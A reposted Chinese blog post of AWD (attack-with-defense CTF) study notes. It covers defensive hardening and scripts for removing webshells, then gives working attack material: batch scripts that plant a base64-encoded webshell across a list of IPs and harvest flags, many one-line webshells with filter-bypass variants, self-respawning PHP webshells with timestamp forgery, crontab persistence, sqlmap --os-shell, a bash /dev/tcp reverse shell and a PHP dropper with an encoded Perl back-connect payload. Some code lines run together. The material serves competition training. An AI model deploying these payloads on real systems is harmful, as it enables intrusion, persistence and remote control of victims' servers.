AWD学习(二)

学习参考:

AWD攻防学习总结(草稿状态,待陆续补充)_awd攻防赛入门-CSDN博客
国赛分区赛awd赛后总结-安心做awd混子-安全客 - 安全资讯平台

记第一次 AWD 赛前准备与赛后小结-腾讯云开发者社区-腾讯云

AWD学习笔记 - DiaosSama's Blog

防御阶段

1.修改各口令密码

(1)修改ssh弱口令:

$ passwd

(2)数据库root口令: 先更改配置文件  connect.php,再使用命令修改:

$ mysql -u root -p
Enter password:
mysql> set password for root@localhost = password('linelineline');
// root=用户名;linelineline=新密码;

修改完 mysql 相关部分后,习惯性使用命令应用修改:

flush privileges;

2.源码备份还原

可以使用Xftp直接拖

tar备份:

cd /var/www/html
tar -zcvf ~/html.tar.gz *

还原:

rm -rf /var/www/html
tar -zxvf ~/html.tar.gz -C /var/www/html

2.数据库备份还原

$ mysqldump -u root -p wlgf > backup.sql
$ mysql -u root -p wlgf < backup.sql$ mysqldump —all-databases > 1.sql //备份所有数据库
$ mysql -u username -p < 1.sql     //还原所有数据库

备份后,如果遇到wlgf数据库被删除的情况:

先进入mysql创建 wlgf 数据库,刷新之后 再恢复

mysql> CREATE DATABASE wlgf;
mysql> flush privileges;

代码审计:Fortify、Seay

[ 代码审计篇 ] Fortify 安装及使用详解(一)

Fortify 是一个静态的、白盒的软件源代码安全测试工具。它通过内置的五大主要分析引擎:数据流、语义、结构、控制流、配置流等对应用软件的源代码进行静态的分析,通过与软件安全漏洞规则集进行匹配、查找,从而将源代码中存在的安全漏洞扫描出来,并可导出报告。扫描的结果中包括详细的安全漏洞信息、相关的安全知识、修复意见。

使用页面如下:

实用命令

  • 查找可能的password
    cd /var/www/html
    find .|xargs grep "password"
    
  • 查找后门
    find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('
    
  • 查找flag的位置
    使用 `find / -name *flag*` 或 `grep -rn "flag" *` 类似的语句可以快速发现 flag 所在的地方,方便后续拿分
    
  • 检查有没有多余无用端口对外开放
    netstat -anptl
    

克制不死马

1.强行kill掉进程后重启服务(不建议)

ps -aux|grep ‘www-data’|awk ‘{print $2}’|xargs kill -9

2.建立一个和不死马相同名字的文件或者目录,sleep短于不死马

<?phpignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = '.index.php';$code = 'hi!';//pass=passwhile (1){file_put_contents($file,$code);system('touch -m -d "2024-12-09 19:10:12" .index.php');//    usleep(5000);usleep(1000);}
?>

3.写python脚本1.py不断删除

import os
import timedef create_and_delete_file(file_name, sleep_time):while True:  # 无限循环try:# 创建名为“1.php”的文件with open(file_name, 'w') as file:file.write("<?php echo 'Hello, World!'; ?>")print(f"文件 {file_name} 已创建")# 短暂等待,时间可以根据需要调整time.sleep(sleep_time)# 删除文件os.remove(file_name)print(f"文件 {file_name} 已被删除")except Exception as e:print(f"发生错误: {e}")break  # 如果发生异常,退出循环# 调用函数,创建和删除文件
create_and_delete_file("1.php", 0.5)  # sleep时间为0.5

4.运行bash脚本

#!/bin/bash
while true 
do
#kill -9 进程ID
rm -rf .test.php
done

5.条件竞争

#!/bin/bash
dire="/var/www/html/.test.php/"
file="/var/www/html/.test.php"
rm -rf $file
mkdir $dire
./xx.sh

杀弹反弹shell

查看进程

ps -ef
px -aux
ps -aux | grep www-data

注意 www-data 权限的 /bin/sh,很有可能是nc

查找并终止特定进程:

kill ps -aux | grep www-data | grep apache2 | awk '{print $2}'//结束命令
ps -aux | grep www-data | grep apache2 | awk '{print $2}' | xargs kill -9

文件监控

监听还原脚本‐>5分钟还原一次

使用本地py环境运行,需要更改sshIP及端口

import paramiko
import os
import timedef web_server_command(command,transport): #对服务器执行命令ssh = paramiko.SSHClient()ssh._transport = transportstdin, stdout, stderr = ssh.exec_command(command)# print(stdout.read())def web_server_file_action(ip, port, user, passwd, action): #对服务器文件操作try:transport = paramiko.Transport(ip, int(port))transport.connect(username=user, password=passwd)sftp = paramiko.SFTP.from_transport(transport)remote_path='/var/www/html/'remote_file = 'html.tar'local_path = 'C:/Users/'+os.getlogin()+'/Desktop/awd/'+ip+'/'web_server_command('cd '+remote_path+' && tar -cvf '+remote_file+' ./',transport)if not(os.path.exists(local_path)):os.makedirs(local_path)if action == 'get':sftp.get(remote_path+remote_file,local_path+remote_file)web_server_command('rm -rf '+remote_path+remote_file,transport)print('服务器源码保存在'+local_path)print('正在解压:')os.system('cd '+local_path+' & tar -xvf '+remote_file+' &del '+remote_file)print('文件解压完成')else:web_server_command('rm -rf '+remote_path+'*',transport)print('清理服务器web目录')os.system('cd '+local_path+' & tar -cvf '+remote_file+' ./*')sftp.put(local_path+remote_file, remote_path+remote_file)print('上传成功')web_server_command('cd '+remote_path+'&& tar -xvf '+remote_file+' && rm -rf '+remote_file,transport)print('还原完毕')print('-----------------------------')sftp.close()except:passprint('download or upload error')def web_server_mysql_action():#web_server_mysql_actionpass
def web_server_status():#web_server_statuspass
if __name__ == '__main__':web1_server_ip='10.241.180.159'web1_server_port='30021'web1_server_user='ctf'web1_server_passwd='123456'while(1):       for i in range(5,0,-1):time.sleep(1)print('倒计时'+str(i)+'秒')web_server_file_action(web1_server_ip,web1_server_port,web1_server_user,web1_server_passwd, 'put')

攻击阶段

nmap扫描端口后,win+alt 选择性粘贴

nmap 172.16.17.202 -p10000-20000

后门任意命令执行

D盾扫出任意命令执行后门,这个预留后门也是最简单的可以碰碰运气打一下看看有没有没修的

news.php

这个漏洞一般都会修的,通过它初步学习一下写马方法

GET传参?id=1(大于1的数字)

// 如果GET请求中存在名为'id'的参数
if(isset($_GET['id'])){$_html['id']=$_GET['id'];        // 将这个参数的值赋给变量$_html的'id'键// 如果'id'为空,不是数字,小于0,或者大于0但小于1if(empty($_html['id']) || !is_numeric($_html['id']) || $_html['id']<0 || ($_html['id']>0 && $_html['id']<1)){echo '<script type="text/javascript">alert("非法访问!");location.href="index.php";</script>';exit; }else{                                  // 如果'id'参数合法$_html['id']=intval($_html['id']);  // 将'id'参数的值转换为整数}
}
// 如果GET请求中不存在名为'id'的参数
else{// 输出JavaScript代码,弹出警告框提示“非法访问!”,并将浏览器重定向到index.php页面echo '<script type="text/javascript">alert("非法访问!");location:index.php;</script>'; exit; 
}

GET传参 zzz

构造payload,在源代码中得到flag

/news.php?id=3&zzz=cat /flag

通过命令执行执行上传一句话木马

可以通过命令执行执行上传一句话木马 <?php eval($_REQUEST['1']); ?>

//base64编码编写
echo PD9waHAgZXZhbCgkX1JFUVVFU1RbJzEnXSk7ID8+Cg==|base64 -d>>news.php
//+号被过滤,使用url的%2B代替
echo PD9waHAgZXZhbCgkX1JFUVVFU1RbJzEnXSk7ID8%2BCg==|base64 -d>>news.php//url编码编写
echo %3C?php%20eval($_REQUEST%5B'1'%5D);%20?%3E|url -d>>news.php

使用脚本批量上传

import requests# 定义payload
payload = "echo PD9waHAgZXZhbCgkX1JFUVVFU1RbJzEnXSk7ID8%2BCg==|base64 -d>>news.php"# ip.txt文件中的每一行都是一个IP地址
with open('ip.txt', 'r') as file:ips = file.readlines()# 遍历IP地址列表
for ip in ips:# 去除换行符ip = ip.strip()# 构造完整的URLurl = f"http://{ip}/news.php?id=3&zzz={payload}"# 发送GET请求try:response = requests.get(url, timeout=5)print(f"Sent payload to {ip}, Status Code: {response.status_code}")except requests.exceptions.RequestException as e:print(f"Failed to send payload to {ip}, Error: {e}")

写入后通过HTTP请求执行任意PHP代码

/news.php?id=3&1=system('cat /flag');

脚本批量获取:

import requests
import re
import time# 使用with语句自动管理文件资源
with open(r'E:\AWD\second\jiaoben\ip.txt', 'r') as f:with open('flag0.txt', 'w') as flag_file:  # 打开flag0.txt文件准备写入for ip in f:# 正确构造URLurl = 'http://' + ip.strip()path = "/news.php?id=1&1=system('cat%20/flag');"  # 注意URL编码payload = url + pathtry:# 发送GET请求response = requests.get(payload)# 使用正则表达式搜索flagresult = re.search('[a-z0-9]{32}', response.text)if response.status_code == 200 and result:print(url, result.group())# 将找到的flag写入文件flag_file.write(result.group() + '\n')  # 写入文件并添加换行符else:print(url, "There is no flag here")except requests.exceptions.RequestException as e:# 打印异常信息print(f"请求失败:{e}")# 等待5分钟(300秒)后再次执行print("等待5分钟...")time.sleep(300)

XSS

劫持流量实现恶意跳转

没啥实质攻击捣乱一下

可以在修改昵称处插入一句像这样的语句:

<script>window.location.href="http://www.baidu.com";</script>

那么访问/admin 时就会被跳转到百度的首页。

解决: 删除该用户即可

//具体操作:1.登录mysql数据库:mysql -u root -p
2.使用相关数据库(wlgf):use wlgf
3.查看数据库中所有表的名称:show tables;
4.查看表(user)中所有字段信息:SELECT * FROM user;
5.删除对应(id=3)用户:DELETE FROM user WHERE id = 3;删除id=2,id=3的用户:DELETE FROM users WHERE id IN (2, 3);

最后再查看表中信息,删除成功了,页面也恢复正常

SQL注入

python sqlmap.py -r "E:\bp\2.txt" --os-shell --batch--os-shell: 利用 SQL 注入漏洞来执行操作系统命令。获得一个交互式的 shell,可以在目标服务器上执行任意的操作系统命令。

抓包注入页面并保存文件,使用抓包文件进行注入(最准确)

使用Burp抓包,然后保存抓取到的内容到文件中,使用sqlmap -r 加载抓包文件,让sqlmap使用抓包文件中的数据来测试SQL注入漏洞,这种方式是最准确的

权限维持

一句话木马

简单易发现,也很容易被人利用

<?php eval(REQUEST['1']); ?>   //php
<script language="php">eval($_POST['1']);</script>
<sCriPt>、<ScRiPt>、<Script>    //大小写绕过
<scrscriptipt language="php">eval($_POST['1']);</scrscriptipt>    //双写绕过
<%eval request("1")%>         //asp
<% E=request("1");eval(E)%>   //变形绕过安全检测

过盾一句话

不容易被发现,也不容易被其他队利用

<?php $a=1;$b="a=".$_GET['a'];parse_str($b);print_r(`$a`)?>

可以改造成header返回的马,可以把这个一句话木马放到index.php中,直接访问index.php,从header中拿到flag。 

<?php $a=1;$b="a=".$_GET['a'];parse_str($b);$k=(`$a`);header('cookie:'.$k);?>$a=1;$b="a=".$_GET['a'];parse_str($b);$k=(`$a`);header('cookie:'.$k);

MD5马

检查POST请求中名为'1'的参数的MD5哈希值,此处1=md5ma

<?php
echo 'hello';
if(md5($_POST['1'])=='6be79677ed2bf64cf4c11c53ac69e56e'){@eval($_POST['cmd']);
}
?>

不死马

  • php file_put_contents写入不死马
file_put_contents('.1ndex.php',base64_decode('PD9waHAgIAogICAgc2V0X3RpbWVfbGltaXQoMCk7ICAKICAgIGlnbm9yZV91c2VyX2Fib3J0KDEpOyAgCiAgICB1bmxpbmsoX19GSUxFX18pOyAgCiAgICB3aGlsZSgxKXsgIAogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCcubG5kZXgucGhwJywnPD9waHAgaWYobWQ1KCRfR0VUWyIxIl0pPT0iNmJlNzk2NzdlZDJiZjY0Y2Y0YzExYzUzYWM2OWU1NmUiKXtAZXZhbCgkX1BPU1RbIjEiXSk7fSA/PicpOyAgCiAgICAgICAgc2xlZXAoMCk7ICAKICAgIH0KPz4='));

GET:1=md5ma

POST:1=system('ls');

  • linux命令不死马
while true;do echo '<?php eval($_POST["x"]);?>' > x.php;sleep 1;done
  • php不死马

在AWD比赛中,不死马对于维持权限十分有效。将该php文件上传到服务器,然后进行访问,会在该路径下循环生成名字为 .index.php 的不死马隐藏文件

<?php 
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.index.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){file_put_contents($file,$code);system('touch -m -d "2024-12-09 19:10:12" .index.php');usleep(5000);
}
?>#pass=pass
#密码 a
#文件名 .index.php  .DS_story

直接访问:

GET:http://xxx.xxx.xxx.xxx:/.index.php?pass=pass

POST:a=system('cat /flag');

蚁剑连接:

http://xxx.xxx.xxx.xxx:/.index.php?pass=pass

菜刀参考:

  • 变种不死马

- 开头的文件名

在 Linux 命令行中,各种命令会有许多的参数,所以,如果对这样方式命名的文件,执行任何命令,都会将这个文件当做参数来执行命令,没有该参数就会报错。导致什么命令都无法在这个不死马上执行,但是,在浏览器中连接访问是没问题的,依旧可以解析。

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.login.php';
$file1 = '-header.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_REQUEST["a"]);} ?>';
while (1){file_put_contents($file,$code);//system('touch -m -d "2024-12-09 19:10:12" .login.php');file_put_contents($file1,$code);usleep(5000);
}
?>
#pass=pass&a=system('cat /flag');
  • crontab写马

system('echo "* * * * * echo \"<?php  if(md5(\\\\\\\\\$_POST[pass])==\'1a1dc91c907325c69271ddf0c944bc72\'){@eval(\\\\\\\\\$_POST[1]);}  \" > /var/www/html/.index.php\n* * * * * chmod 777 /var/www/html/.index.php" | crontab;whoami');

pass=pass

密码:1

crontab -u www-data CRON_FILE 来指定用户运行指定的定时任务

反弹shell

bash反弹shell    bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9 0>&1
nc反弹shell      本地 nc -l -p 8080

可以切换到bash命令去执行,但是会在root目录生成名为~/.bash_history的记录文件。

可以反弹 shell 的 php 脚本

<?phpfunction which($pr) {$path = execute("which $pr");return ($path ? $path : $pr);}function execute($cfe) {$res = '';if ($cfe) {if(function_exists('exec')) {@exec($cfe,$res);$res = join("\n",$res);}elseif (function_exists('shell_exec')) {$res = @shell_exec($cfe);}elseif (function_exists('system')) {@ob_start();@system($cfe);$res = @ob_get_contents();@ob_end_clean();}elseif (function_exists('passthru')) {@ob_start();@passthru($cfe);$res = @ob_get_contents();@ob_end_clean();}elseif (@is_resource($f = @popen($cfe, "r"))) {$res = '';while(!@feof($f)) {$res .= @fread($f,1024);}@pclose($f);}}return $res;}function cf($fname, $text) {if($fp = @fopen($fname, 'w')) {@fputs($fp, @base64_decode($text));@fclose($fp);}}
$yourip = "xxx.xxx.xxx.xxx";
$yourport = '1024';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

使用方法:

将 shell 文件上传至可访问的地方,开启 nc 监听

nc -l -vv [port] #这里是 1024,可以自己设置

然后访问该文件,就成功反弹 shell

效果如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/488919.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java从入门到工作2 - IDEA

2.1、项目启动 从git获取到项目代码后&#xff0c;用idea打开。 安装依赖完成Marven/JDK等配置检查数据库配置启动相关服务 安装依赖 如果个别依赖从私服下载不了&#xff0c;可以去maven官网下载补充。 如果run时提示程序包xx不存在&#xff0c;在项目目录右键Marven->Re…

基于Qwen2-VL模型针对LaTeX OCR任务进行微调训练 - 原模型 多图推理

基于Qwen2-VL模型针对LaTeX OCR任务进行微调训练 - 原模型 多图推理 flyfish 输入 输出 [‘第一张图片是一幅中国山水画&#xff0c;描绘了一座山峰和周围的树木。第二张图片是一张现代照片&#xff0c;展示了一座山峰和周围的自然景观&#xff0c;包括水体和植被。’] fro…

HTML和JavaScript实现商品购物系统

下面是一个更全面的商品购物系统示例&#xff0c;包含新增商品、商品的增加删除以及结算找零的功能。这个系统使用HTML和JavaScript实现。 1.功能说明&#xff1a; 这个应用程序使用纯HTML和JavaScript实现。 包含一个商品列表和一个购物车区域。商品列表中有几个示例商品&a…

Linux网络之“桥接模式”和“NAT模式”配置

介绍虚拟机的“桥接模式”和“NAT模式”配置。 1、“桥接模式”介绍 “桥接模式”将虚拟机的虚拟网络适配器与主机的“物理网络适配器”进行交接&#xff0c;虚拟机中的“虚拟网络适配器”通过主机中的“物理网络适配器”访问外部网络。物理主机的网卡好比是一个“虚拟的交换机…

Harmonyos之深浅模式适配

Harmonyos之换肤功能 概述实现原理颜色适配颜色资源配置工具类编写界面代码编写适配效果 概述 深色模式&#xff08;Dark Mode&#xff09;又称之为暗色模式&#xff0c;是与日常应用使用过程中的浅色模式&#xff08;Light Mode&#xff09;相对应的一种UI主题。 换肤功能应…

github配置pages并配置自定义域名

有cloudflare的话实现的效果更好&#xff0c;可以使用自己的域名&#xff0c;实现白嫖一个网站服务器 1、配置git&#xff08;可选步骤&#xff09; git init git config --global user.name "sijia" git config --global user.email "devopsgame.vip"g…

HDFS的Federation机制提高存储能力及读写性能的实现原理和Erasure Coding节省存储空间的原理

目录 Federation机制的实现原理1.HDFS的分层图解&#xff08;1&#xff09;NameSpace&#xff08;2&#xff09;Block Storage1&#xff09;Block Management2&#xff09;Storage 2.Federation机制的优点3.Federation机制的缺点4.Federation机制的实现&#xff08;1&#xff0…

shell编程(完结)

shell编程&#xff08;完结&#xff09; 声明&#xff01; 学习视频来自B站up主 ​泷羽sec​​ 有兴趣的师傅可以关注一下&#xff0c;如涉及侵权马上删除文章 笔记只是方便各位师傅的学习和探讨&#xff0c;文章所提到的网站以及内容&#xff0c;只做学习交流&#xff0c;其…

echarts图表自定义配置(二)——代码封装

下图是初版&#xff0c;火山图的代码。可以看出&#xff0c;里面的变量&#xff0c;逻辑&#xff0c;函数存在冗余&#xff0c;基本上都是改了参数&#xff0c;同样的get和set&#xff0c;去刷新图表&#xff1b;对于往后继续开发十几二十个图表&#xff0c;会很麻烦。因此需要…

《庐山派从入门到...》IDE启动

《庐山派从入门到...》IDE启动 《庐山派从入门到...》IDE启动 IDE&#xff08;Integrated Development Environment&#xff09;&#xff0c;即集成开发环境&#xff0c;是一种软件应用程序&#xff0c;旨在为软件开发人员提供一个全面的工具集合&#xff0c;以便可以更高效地编…

Elasticsearch 集群部署

Elasticsearch 是一个分布式的搜索和分析引擎&#xff0c;广泛应用于日志分析、全文搜索、实时数据分析等场景。它以其高性能、高可用性和易用性而著称。本文档将引导您完成一个基本的 Elasticsearch 集群配置&#xff0c;包括节点间的通信、客户端访问、安全设置等关键步骤。我…

SpringBoot【十一】mybatis-plus实现多数据源配置,开箱即用!

一、前言&#x1f525; 环境说明&#xff1a;Windows10 Idea2021.3.2 Jdk1.8 SpringBoot 2.3.1.RELEASE 正常情况下我们在开发系统的时候都是使用一个数据源&#xff0c;但是由于有些项目同步数据的时候不想造成数据库io消耗压力过大&#xff0c;便会一个项目对应多个数据源…

软考高级架构 —— 10.6 大型网站系统架构演化实例 + 软件架构维护

10.6 大型网站系统架构演化实例 大型网站的技术挑战主要来自于庞大的用户&#xff0c;高并发的访问和海量的数据&#xff0c;主要解决这类问题。 1. 单体架构 特点: 所有资源&#xff08;应用程序、数据库、文件&#xff09;集中在一台服务器上。适用场景: 小型网站&am…

angular图表echarts设置

angular框架ngx-echarts图表的配置 图表高度设置 默认高度是400px 可以自己动态设置容器高度 <div echarts nz-row nzJustify"start" [options]"option" [style.height]"option.echartHeight"></div>option.echartHeight‘600px’…

FastAPI vs Flask 选择最适合您的 Python Web 框架

文章目录 1. 简介2. 安装和设置3. 路由和视图4. 自动文档生成5. 数据验证和序列化6. 性能和异步支持结论 在 Python Web 开发领域&#xff0c;FastAPI 和 Flask 是两个备受欢迎的选择。它们都提供了强大的工具和功能&#xff0c;但是在某些方面有所不同。本文将比较 FastAPI…

[SAP ABAP] DEBUG ABAP程序中的循环语句

在ABAP程序开发中可能会遇到要DEBUG循环语句的情况&#xff0c;这个循环语句可能会执行上万次&#xff0c;但我们希望程序执行循环到100次就停下来&#xff0c;也就是希望DEBUG断点设置在循环语句的第100次停下来观察执行的结果&#xff0c;这时我们可以在DEBUG程序时通过设置一…

服务器部署,用 nginx 部署后页面刷新 404 问题,宝塔面板修改(修改 nginx.conf 配置文件)

如果你的项目使用了 vue&#xff0c;并使用了路由且路由配置为 history 模式&#xff0c;就会出现这种情况。 当你使用 nginx 部署前端项目时&#xff0c;发现页面刷新或不用根目录访问页面时&#xff0c;出现404页面 宝塔面板 解决方法&#xff1a;修改 nginx 配置&#xff…

学习思考:一日三问(思考篇)之路由表

学习思考&#xff1a;一日三问&#xff08;思考篇&#xff09;之路由表 学了什么&#xff08;是什么&#xff09;Destination/Mask&#xff08;最终目标&#xff0c;寻路必须&#xff09;Proto&#xff08;择优可选&#xff09;Pre&#xff08;择优可选&#xff09;Cost&#x…

【Rive】Android与Rive交互

1 Android与Rive交互的常用接口 1.1 RiveAnimationView参数 <app.rive.runtime.kotlin.RiveAnimationViewandroid:id"id/rive_view"android:layout_width"match_parent"android:layout_height"match_parent"android:adjustViewBounds"…

nginx反向代理(负载均衡)

nginx的代理 代理 四层代理 七层代理 正向代理和缓存的配置方式 &#x1f42d;&#x1f42e;&#x1f42f;&#x1f430;&#x1f409;&#x1f40d;&#x1f434;&#x1f411;&#x1f412;&#x1f414;&#x1f436;&#x1f437; 反向代理》负载均衡 负载均衡&#xff…